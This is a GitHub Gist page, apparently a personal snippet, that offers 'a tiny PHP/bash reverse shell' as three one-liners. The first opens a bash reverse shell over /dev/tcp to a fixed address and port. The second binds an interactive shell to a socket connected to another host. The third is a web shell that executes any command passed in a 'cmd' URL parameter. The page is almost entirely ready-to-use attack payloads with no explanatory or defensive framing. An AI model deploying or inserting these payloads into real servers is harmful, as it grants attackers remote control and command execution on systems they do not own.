-
-
Save BlaiseOfGlory/4d2c6938289f3a2366ccc8cea447350d to your computer and use it in GitHub Desktop.
A tiny PHP/bash reverse shell.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); ?> | |
<?php $sock=fsockopen("10.11.0.150",443); exec("/bin/sh -i <&3 >&3 2>&3"); ?> | |
<?php $output = shell_exec($_GET["cmd"]);echo "<pre>$output</pre>";?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment